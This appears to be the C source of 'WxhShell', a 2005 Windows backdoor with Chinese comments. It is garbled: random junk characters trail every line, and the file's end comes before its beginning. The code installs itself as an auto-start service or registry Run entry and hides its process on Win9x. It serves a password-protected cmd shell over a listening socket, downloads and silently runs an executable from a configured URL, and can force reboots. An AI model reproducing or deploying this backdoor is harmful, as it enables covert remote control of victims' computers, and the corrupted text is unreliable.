    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jUjQ{eT  
    else { B-eYWt8s  
    closesocket(wsh); \/lS!+~'']  
    ExitThread(0); X0 %k`3  
    } iL5+Uf)E3  
    break; seq S*^7  
    } *K0CUir|  
  // 获取shell [QL)6Xr  
  case 's': { vT[%*)`  
    CmdShell(wsh); D+"5R5J",  
    closesocket(wsh); /4=O^;   
    ExitThread(0); e'7!aysj  
    break; #M8"b]oh6  
  } eR5swy&  
  // 退出 iyj&O"  
  case 'x': { ,gRsbC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WU}JArX9  
    CloseIt(wsh); 2Uk$9s  
    break; mtJI#P  
    } \Dr@n^hk@[  
  // 离开 lf Wxdi  
  case 'q': { *[_?4*F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i<&2Ffvq  
    closesocket(wsh); v( (fRX.`  
    WSACleanup(); *4+;E y  
    exit(1);  !@bN  
    break; YFsEuaV  
        } m: w/[|_  
  } :Fm+X[n  
  } Pm;"Y!S<  
#ljfcQm  
  // 提示信息 Y+WOU._46I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -bKli<C  
} 59ro-nA9v  
  } 7?cZ9^z`w  
(MbI8B>  
  return; Oja)J-QXb  
} 2:2rwH }e  
;XGG&M%3  
// shell模块句柄 Y_f6y 9?ZE  
int CmdShell(SOCKET sock) ^$yr-p%-  
{ [l'~>  
STARTUPINFO si; })s s.  
ZeroMemory(&si,sizeof(si)); e9N 1xB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  aA0aW=R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V^.~m;ETu]  
PROCESS_INFORMATION ProcessInfo; :2  
char cmdline[]="cmd"; ly6?jVJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tjO||]I  
  return 0;  ZY keW  
} U2+CL)al^  
>*Y~I0>  
// 自身启动模式 .$S`J2Y  
int StartFromService(void) K+Ehj(eF  
{ Yc\;`C  
typedef struct  ae#7*B  
{ {f)",#  
  DWORD ExitStatus; {P-KU RQ  
  DWORD PebBaseAddress; blxH`O!  
  DWORD AffinityMask; _.wLQL~y  
  DWORD BasePriority; [YJP  
  ULONG UniqueProcessId; 7c<2oTN'  
  ULONG InheritedFromUniqueProcessId; TvMY\e  
}   PROCESS_BASIC_INFORMATION; }GQ8|fg`U  
j'CRm5O  
PROCNTQSIP NtQueryInformationProcess; &~^"yo#b  
bg[q8IBCd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R}Z"Y xx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g24)GjDi  
fl+ [(x<  
  HANDLE             hProcess; C6O1ype  
  PROCESS_BASIC_INFORMATION pbi; Z]oa+W+  
(zye Ch  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y.jg }oV  
  if(NULL == hInst ) return 0; jw#'f%*  
ToDN^qE+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s`GSc)AI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *F~"4g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nM)]  
){R_o5  
  if (!NtQueryInformationProcess) return 0; ?$F:S%eH  
0XL x@FYn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PS(9?rX#+  
  if(!hProcess) return 0; :uhvDYp(-  
-4Y}Y5 9\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZXHG2@E)  
OFCkQEG=y>  
  CloseHandle(hProcess); QQ1+uY  
;STO!^9~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |~rDEv3  
if(hProcess==NULL) return 0; 3"!2C,3c#  
)!p=0&z@{  
HMODULE hMod; 6Z|/M6f  
char procName[255]; &l{yEWA}g  
unsigned long cbNeeded; %^gT.DsX-  
L=4?vs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?nj _gL  
j08|zUe  
  CloseHandle(hProcess); |5$9l#e  
#y}@FG  
if(strstr(procName,"services")) return 1; // 以服务启动 #C4  
eJ$?T7aUf  
  return 0; // 注册表启动 z15(8Y@2]  
} D-A#{e _  
Zdj~B1  
// 主模块 ;Z C18@  
int StartWxhshell(LPSTR lpCmdLine) GAtK1%nPD  
{ aztP`S$h  
  SOCKET wsl; 4D9l Za}  
BOOL val=TRUE; XC0G5rtB  
  int port=0; lb`P9mbr+  
  struct sockaddr_in door; x-CY G?-x  
=<O{  
  if(wscfg.ws_autoins) Install(); 6i%LM`8GEk  
 CG$S?  
port=atoi(lpCmdLine); M1Od%nz3  
)Qb1$%r.  
if(port<=0) port=wscfg.ws_port; H*EQ%BLW^,  
DT n=WGm)  
  WSADATA data; %!p14c*J H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vy@;zrs  
^yH|k@y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6bo,x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : gv[X  
  door.sin_family = AF_INET; aW4tJN%!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q;tsA"l  
  door.sin_port = htons(port); xgsD<3  
tG{e(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v#YO3nD  
closesocket(wsl); 1}KNzMHk9  
return 1; (3c,;koRR  
} _Vj O [hx  
:[|`&_D9J  
  if(listen(wsl,2) == INVALID_SOCKET) { ^?&Jq_oU  
closesocket(wsl); :]=Y1*L\)  
return 1; -md2Z0^ Kc  
} Wq F(  
  Wxhshell(wsl); g4RkkoZ>)  
  WSACleanup(); |3Oe2qb  
?ti7iBz?  
return 0; }9<aX Y,  
|@Q(~[It  
}  .;iXe  
zrRt0}?xl  
// 以NT服务方式启动 I)_072^O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZRD* ^9)  
{ CHN!o9f  
DWORD   status = 0; ,^:Zf|V  
  DWORD   specificError = 0xfffffff; Xdq2.:\  
T1\Xz-1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }_@cqx:n^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P}DrUND  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^ylJ_lN&=1  
  serviceStatus.dwWin32ExitCode     = 0; !ny; YV  
  serviceStatus.dwServiceSpecificExitCode = 0; A}OV>yM  
  serviceStatus.dwCheckPoint       = 0; %w/o#*j<;  
  serviceStatus.dwWaitHint       = 0; >^D"%Oj y  
[M@i,d-;A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >`'#4!}G5j  
  if (hServiceStatusHandle==0) return; OA4NXl'  
RvYew!n  
status = GetLastError(); 0wAZ9AxA{  
  if (status!=NO_ERROR) ruB&&C6)v  
{ sZ]O&Za~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =qCVy:RL4  
    serviceStatus.dwCheckPoint       = 0; (U/6~r'.L  
    serviceStatus.dwWaitHint       = 0; ;9=9D{-4+  
    serviceStatus.dwWin32ExitCode     = status; )&se/x+  
    serviceStatus.dwServiceSpecificExitCode = specificError; c^A3|tCi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iWGgt]RJ  
    return; 4kxy7] W  
  } :NA cad  
<kPU*P,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `^wF]R  
  serviceStatus.dwCheckPoint       = 0; j05ahquI  
  serviceStatus.dwWaitHint       = 0; im*QaO%a4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hKt AvTg  
} \dbpC Z  
Vu^J'>X  
// 处理NT服务事件,比如:启动、停止 jEit^5^5|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4-ZiKM  
{ }I#;~|v~<  
switch(fdwControl) < LzN/I aJ  
{ #wx0xQ~,J  
case SERVICE_CONTROL_STOP: l \xIGs  
  serviceStatus.dwWin32ExitCode = 0; [-s0'z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rTDx|pvYx  
  serviceStatus.dwCheckPoint   = 0; &zb_8y,  
  serviceStatus.dwWaitHint     = 0; +_ K7x5g  
  { F{bET  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @>(l}5U5  
  } 1S  0GjR  
  return; ZKAIG=l&!  
case SERVICE_CONTROL_PAUSE: 0N_Ma')i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =WJ*$j(  
  break; az F"tke  
case SERVICE_CONTROL_CONTINUE: oopTo51,a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $T1 D ?X  
  break; $-5iwZ  
case SERVICE_CONTROL_INTERROGATE: 8^c|9ow  
  break; W%Br%VQJ  
}; frc>0\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E88_15'3D  
} e_\4(4x  
3/}=x<ui  
// 标准应用程序主函数 GB^Ch YOb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) goIn7ei92  
{ ]*sXISg1  
sJt&`kZ  
// 获取操作系统版本 |Wi$@sWO  
OsIsNt=GetOsVer(); S%mN6b~{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o+/x8:   
TcO@q ]+S  
  // 从命令行安装 &q``CCOF&  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pt";f  
n#,AZ&  
  // 下载执行文件 Zhz.8W  
if(wscfg.ws_downexe) { lJ R",_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CuT[V?^iD  
  WinExec(wscfg.ws_filenam,SW_HIDE); UKMrR9[x*  
} &R\ .^3  
]Ol@^$8}  
if(!OsIsNt) { O'$0K0k3  
// 如果时win9x,隐藏进程并且设置为注册表启动 g2:^Z==  
HideProc(); hb_YdnG  
StartWxhshell(lpCmdLine); G80d!*7  
} Ax=Rb B"  
else !Lk|eGd*  
  if(StartFromService()) DE."XSni  
  // 以服务方式启动 QOy+T6en  
  StartServiceCtrlDispatcher(DispatchTable); DH)@8)C  
else niqiDT/  
  // 普通方式启动 D-E30b]e  
  StartWxhshell(lpCmdLine); _2}i8q:  
&wK%p/?  
return 0; C Ij3D"  
} 1 /7H` O?  
)Qp?N<&'  
@e$z Ej5  
!;zacw  
=========================================== 224I%x.,  
{j ${i  
t}_qtO7>  
WP2|0ib  
J3S@1"   
f{^C+t{r  
" 42ttmN1F  
iNd 8M V  
#include <stdio.h> i7mT<w>?  
#include <string.h> {p yo  
#include <windows.h> iN<&  
#include <winsock2.h> 7evE;KL  
#include <winsvc.h> y5BNHweaRb  
#include <urlmon.h> D!TS/J1S;u  
o_b j@X  
#pragma comment (lib, "Ws2_32.lib") /DQoM@X  
#pragma comment (lib, "urlmon.lib") 9_ KUUA  
1;]cYIq  
#define MAX_USER   100 // 最大客户端连接数 MftX~+  
#define BUF_SOCK   200 // sock buffer F>96]71 2  
#define KEY_BUFF   255 // 输入 buffer qZ6P(5X  
w[~$.FM/  
#define REBOOT     0   // 重启 v&xk?F?WU,  
#define SHUTDOWN   1   // 关机 m`I6gnLj  
HGh`O\f8  
#define DEF_PORT   5000 // 监听端口 |XLx6E2F  
~y$B #.l  
#define REG_LEN     16   // 注册表键长度 %RdCSQ9~  
#define SVC_LEN     80   // NT服务名长度 -9.S?N'T>;  
tm#T8iF  
// 从dll定义API NVcL9"ht*@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %fJ*Ql4M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Rd@,3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Beiz*2-}a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mI@E>VCV[  
st+X~;PX*  
// wxhshell配置信息 ) $#ov-]  
struct WSCFG { ;jo,&C  
  int ws_port;         // 监听端口 `:}GE@]  
  char ws_passstr[REG_LEN]; // 口令 |A 8xy#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4F??9o8}  
  char ws_regname[REG_LEN]; // 注册表键名 `~(KbH=]  
  char ws_svcname[REG_LEN]; // 服务名 ;rV0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  [^8*9?i4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `.#e4 FBW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6^if%62l&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V[HHP_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {y`afuiB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _;G"{e.=  
& WYIfx{  
}; }f;Zx)!  
esLPJx  
// default Wxhshell configuration kzbgy)PK3  
struct WSCFG wscfg={DEF_PORT, q/XZb@rt  
    "xuhuanlingzhe", Pi40w+/  
    1, [JO'ta  
    "Wxhshell", {h7*a=  
    "Wxhshell", 600-e;p  
            "WxhShell Service", BN|+2D+S  
    "Wrsky Windows CmdShell Service", Fwm{oypg%  
    "Please Input Your Password: ", .%M=dL>  
  1, `Ft.Rwj2:m  
  "http://www.wrsky.com/wxhshell.exe", rk-}@vp  
  "Wxhshell.exe" =L#tSa=M"  
    }; y9=/kFPRm  
Y6?d y\  
// 消息定义模块 p6A"_b^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KNic$:i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5Q?7 xTQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f]h99T  
char *msg_ws_ext="\n\rExit."; R1! {,*Gy  
char *msg_ws_end="\n\rQuit."; .o]vjNrd/  
char *msg_ws_boot="\n\rReboot..."; vAy`8Q  
char *msg_ws_poff="\n\rShutdown..."; \(cu<{=rU  
char *msg_ws_down="\n\rSave to "; "e&S*8QhM  
W&A22jO.1  
char *msg_ws_err="\n\rErr!"; Qx>S>f  
char *msg_ws_ok="\n\rOK!"; V/.Y]dN5  
j\P47q'v#  
char ExeFile[MAX_PATH]; D`o* OlU  
int nUser = 0; _W@q%L>  
HANDLE handles[MAX_USER]; '%. lY9D  
int OsIsNt; %i]q} M  
HH&`f3  
SERVICE_STATUS       serviceStatus; 0vqXLFf   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +w?RW^:Q=  
_ncqd,&z  
// 函数声明 IR;lt 3  
int Install(void); Sl/[9- a)  
int Uninstall(void); d(jd{L4d  
int DownloadFile(char *sURL, SOCKET wsh); +#"CgZ]  
int Boot(int flag); 'ZgrN14  
void HideProc(void); +Tf,2?O  
int GetOsVer(void); : tu6'X\k  
int Wxhshell(SOCKET wsl); =nh/w#  
void TalkWithClient(void *cs); &y[Od{=  
int CmdShell(SOCKET sock); j="{^b  
int StartFromService(void); 1[ ME/r  
int StartWxhshell(LPSTR lpCmdLine); z:ue]7(.  
nr Jl>H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C:"Al-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y[UTuFv~Q  
npkE [JE:  
// 数据结构和表定义 yEJ}!/  
SERVICE_TABLE_ENTRY DispatchTable[] = EEEYNu/4/  
{ <{Wsh#7}.  
{wscfg.ws_svcname, NTServiceMain}, il(dVW  
{NULL, NULL} c`yLn %Of%  
}; }oIA*:5  
[[}KCND  
// 自我安装 QmvhmsDL  
int Install(void) ArDkJ`DE  
{ x=pq-&9>B  
  char svExeFile[MAX_PATH]; 6Z]* ce<r  
  HKEY key; t|0Zpp;  
  strcpy(svExeFile,ExeFile); )[|`-M~u  
Smzy EMT  
// 如果是win9x系统,修改注册表设为自启动 Vahfz8~w/  
if(!OsIsNt) { %a{$M{s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y/Fv4<X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6J9^:gXW~  
  RegCloseKey(key); OGw =e{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IP~*_R"bM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]x8 ^s  
  RegCloseKey(key); AifnC4  
  return 0; I'{-T=R-q  
    } \Bg;}\8 X  
  } cs `T7?>  
} f7c%Z:C#Y  
else { cY  ^>`  
paF$ o6\  
// 如果是NT以上系统,安装为系统服务 2 1.;lj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w[~O@:`]<o  
if (schSCManager!=0) :@a8>i1&  
{ y, @I6  
  SC_HANDLE schService = CreateService rH"&  
  ( -.~Dhk  
  schSCManager, x9)^0Hbo  
  wscfg.ws_svcname, $-H#M] Gq  
  wscfg.ws_svcdisp, vY&[=2=  
  SERVICE_ALL_ACCESS, 78&jaw*1A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {s&6C-  
  SERVICE_AUTO_START, AC;ja$A#  
  SERVICE_ERROR_NORMAL, <)ozbv Xk  
  svExeFile,  3=@94i  
  NULL, 5TqB&GP0  
  NULL, :QT0[P5O  
  NULL, 4 8l!P(>?y  
  NULL, Q>]FO  
  NULL NI_.wB{  
  ); RwJ#G7S#  
  if (schService!=0) dr#g[}l'H  
  { ?s/]k#H  
  CloseServiceHandle(schService); .Az' THD}  
  CloseServiceHandle(schSCManager); wiKUs0|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'o;>6u<u  
  strcat(svExeFile,wscfg.ws_svcname); V+myGsr`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ejP273*ah  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f-6-!  
  RegCloseKey(key); H/n3il_-I  
  return 0; &~Qi+b0!  
    } {WfZE&B  
  } q ^NI  
  CloseServiceHandle(schSCManager); SC/|o  
} @(Q 'J`  
} ;K]6/Wt  
rvrv[^a(  
return 1; !?!~8J~  
} w64/$  
YTP6m9hA+  
// 自我卸载 &o@IMbJ8  
int Uninstall(void) >Z@^R7_W  
{ F)rU* i7  
  HKEY key; Nr 5h%<` I  
3.,O7 k7y  
if(!OsIsNt) { S?TyC";!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l'TM^B)`c  
  RegDeleteValue(key,wscfg.ws_regname); <d!_.f}v  
  RegCloseKey(key); qXC>D Gy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &} %rZU  
  RegDeleteValue(key,wscfg.ws_regname); >S/m(98  
  RegCloseKey(key); ?[{_*qh  
  return 0; vZ3/t8$*  
  } S-@E  
} >Wvb!8N  
} 91Bl{  
else { w;f$oT  
e lj]e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hn]><kaA  
if (schSCManager!=0) DMO8~5  
{ NbG`v@yH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $]O;D~  
  if (schService!=0) }&|S8:   
  { QfqosoP\D  
  if(DeleteService(schService)!=0) { -;rr! cQ?  
  CloseServiceHandle(schService); hS(}<B{x!  
  CloseServiceHandle(schSCManager); (prqo1e@  
  return 0; :2^j/  
  } o ;nw;]oR  
  CloseServiceHandle(schService); <Sw>5M!j  
  } DLMM1 A  
  CloseServiceHandle(schSCManager); rZ}y'A   
} (`%$Aa9J  
} rm}OVL  
Wc] L43u  
return 1; lxsBXXZg  
} mFoE2?Y  
;#c=0*.  
// 从指定url下载文件 OX|nYTp  
int DownloadFile(char *sURL, SOCKET wsh) L O)&|9xw  
{ x%<oeM3U  
  HRESULT hr; ?&v+-4%4PI  
char seps[]= "/"; 0V:7pSC{P  
char *token; NJ" d`  
char *file; R Ptc \4  
char myURL[MAX_PATH]; zg)-RCG  
char myFILE[MAX_PATH]; 7ip$#pzo  
Qy!*U%tG'  
strcpy(myURL,sURL); dG5p`N %  
  token=strtok(myURL,seps); ^B)iBf Z  
  while(token!=NULL) .8[Uk^q  
  { }\+7*|  
    file=token; yffg_^fR  
  token=strtok(NULL,seps); !8'mIXZ$  
  } .v<Q-P\8/  
eRV4XB:  
GetCurrentDirectory(MAX_PATH,myFILE); cPQUR^!5  
strcat(myFILE, "\\"); 0A$x'pU)  
strcat(myFILE, file); _G9 vsi  
  send(wsh,myFILE,strlen(myFILE),0); oUXi 4lsSc  
send(wsh,"...",3,0); ZY N HVR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p%MH**A  
  if(hr==S_OK) zT _  
return 0; BT[jD}?  
else <~wr;"S  
return 1; kY e3A &J  
(- ]A1WQ?  
} iIZDtZFF  
bo>4:i  
// 系统电源模块 % Q| >t~  
int Boot(int flag) o{C7V *  
{ $_bhZnYp7  
  HANDLE hToken; /da5 "  
  TOKEN_PRIVILEGES tkp; ?f}lYQzM  
POZ5W)F(  
  if(OsIsNt) { W ='c+3O6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }r%Si  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vR;?~^{*s  
    tkp.PrivilegeCount = 1; xV]eEOiLM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 55aJ =T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~96fyk|  
if(flag==REBOOT) { 4.>rd6BAN-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I.V?O}   
  return 0; k5s8s@  
} a!OS2Tz:  
else { K chp%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?ykQ]r6a<  
  return 0; wOfx7D  
} 2>bTcud>  
  } oRJ!J-Z]  
  else { |s<IZ2z]}R  
if(flag==REBOOT) { soSdlV{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /iz{NulOz*  
  return 0; /Mac:;W`  
} D/& 8[Z/Cn  
else { iR_j h=2{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x:Mh&dq?  
  return 0; -o\o{?t,  
} '{e9Vh<x  
} pb>TUKvT&  
6oh\#v3zV  
return 1; r8]y1 Om<  
} V5]}b[X  
"4`i]vy8  
// win9x进程隐藏模块 5" 5tY  
void HideProc(void) %3"xn!'vf  
{ k PuY[~i%  
\w;d4r8x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;F)j,Ywi)H  
  if ( hKernel != NULL ) .?<M$38fv  
  { _zuaImJ0o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H8$l }pOz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CxvL!ew  
    FreeLibrary(hKernel); yJyovfJz.  
  } V'-}B6 3S>  
?W6qwm,?L  
return; FabDK :  
} {Kbb4%P+h  
@y"/hh_?  
// 获取操作系统版本 F_<n8U:Y  
int GetOsVer(void) df85g  
{ mNc?`G_R  
  OSVERSIONINFO winfo; [ 2WJ];FJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {~L{FG)O  
  GetVersionEx(&winfo); ;7;=)/-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +-s$Htx  
  return 1; [UP-BX(  
  else ]RBT9@-:U  
  return 0; -k4w$0)  
} pZVT:qFF  
][gr(-68  
// 客户端句柄模块 ,b b/ $   
int Wxhshell(SOCKET wsl) N9 SC\  
{ 1" k_l.\,0  
  SOCKET wsh; V8C62X  
  struct sockaddr_in client; nBN+.RB:(  
  DWORD myID; Za"m;+H<E  
){D6E9  
  while(nUser<MAX_USER) JY5)^<.d  
{ rAv)k&l  
  int nSize=sizeof(client); RWX?B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y}\d]*5  
  if(wsh==INVALID_SOCKET) return 1; ApT8;F B  
4Go$OQ`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ml"i^LR+  
if(handles[nUser]==0) )\`.Ru~,  
  closesocket(wsh); bjR:5@"  
else Ba8 s  
  nUser++; t9U-c5bR  
  } M/d6I$~7z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B.Szp_$  
l?f%2:}m  
  return 0; XCN^>ToD  
} SV?^i`  
6d# 7  
// 关闭 socket =ws iC'  
void CloseIt(SOCKET wsh) Zy J-}[z  
{ _l,_NV&T  
closesocket(wsh); *wfb~&: }  
nUser--; Y<ZaW{%  
ExitThread(0); g"KH~bN  
} ]"wl*$N  
8@)4)+e  
// 客户端请求句柄 5s7C;+  
void TalkWithClient(void *cs) z1AYXW6F  
{ Qm(KvL5  
G`D~OI  
  SOCKET wsh=(SOCKET)cs; 9%^IMUWA  
  char pwd[SVC_LEN]; ji&%'h  
  char cmd[KEY_BUFF]; ~;QzV?%  
char chr[1]; (m~gG|n4  
int i,j; }hm "49,O  
X2 PyFe  
  while (nUser < MAX_USER) { +";<Kd-  
pXE'5IIN  
if(wscfg.ws_passstr) { !GAU?J;<#2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (O(X k+L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KAFx^JLo  
  //ZeroMemory(pwd,KEY_BUFF); :TZ</3Sw  
      i=0; I{8sLzA03S  
  while(i<SVC_LEN) { 17C"@1n-  
;_nV*G.y#^  
  // 设置超时 o8ERU($/  
  fd_set FdRead; [_X.Equ  
  struct timeval TimeOut; _u] S/X-  
  FD_ZERO(&FdRead); ^&|KuI+ u  
  FD_SET(wsh,&FdRead); c %f'rj  
  TimeOut.tv_sec=8; e,X {.NS  
  TimeOut.tv_usec=0; yu.N>[=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~%D=\iE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =qNZ7>Qw  
5*#3v:l/9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + lNAog  
  pwd=chr[0]; "J=A(w5   
  if(chr[0]==0xd || chr[0]==0xa) { -Uo"!o>x|  
  pwd=0; wvnuE<o8  
  break; NDo>"in  
  } FSNzBN  
  i++; >hFg,5 _l3  
    } .wPu #*  
k@Q>(`  
  // 如果是非法用户,关闭 socket %"gV>E_u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C4h4W3w  
} T1_qAz+  
ssUm1F\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Um &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O={ ?c1i:  
GEGg S&SM  
while(1) { FWb`F&  
P. >5`^  
  ZeroMemory(cmd,KEY_BUFF); M>xjs?{%k  
< cUaIb;(4  
      // 自动支持客户端 telnet标准   Be4n\c.  
  j=0; p+y2w{{  
  while(j<KEY_BUFF) { D&]dlY@*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FG{45/0We  
  cmd[j]=chr[0];  F<Y>  
  if(chr[0]==0xa || chr[0]==0xd) { "b6ew2\  
  cmd[j]=0; RLE6=#4  
  break; Cu,#w3JR  
  } #^zUaPV 7r  
  j++; 0Vwl\,7z9  
    }  x#hGJT  
dFw>SYrpu  
  // 下载文件 q)F@f /  
  if(strstr(cmd,"http://")) { xU(yc}vw,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %AV[vr,  
  if(DownloadFile(cmd,wsh)) |Ev V S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2`V[Nb  
  else `U6bI`l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H vezi>M  
  } JXNfE,_  
  else { zjlo3=FQX[  
R;3Tyn+  
    switch(cmd[0]) { ,nnVHBN  
  =L F9im  
  // 帮助  +}-Ecr  
  case '?': { ]*\m@lWu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p J#<e  
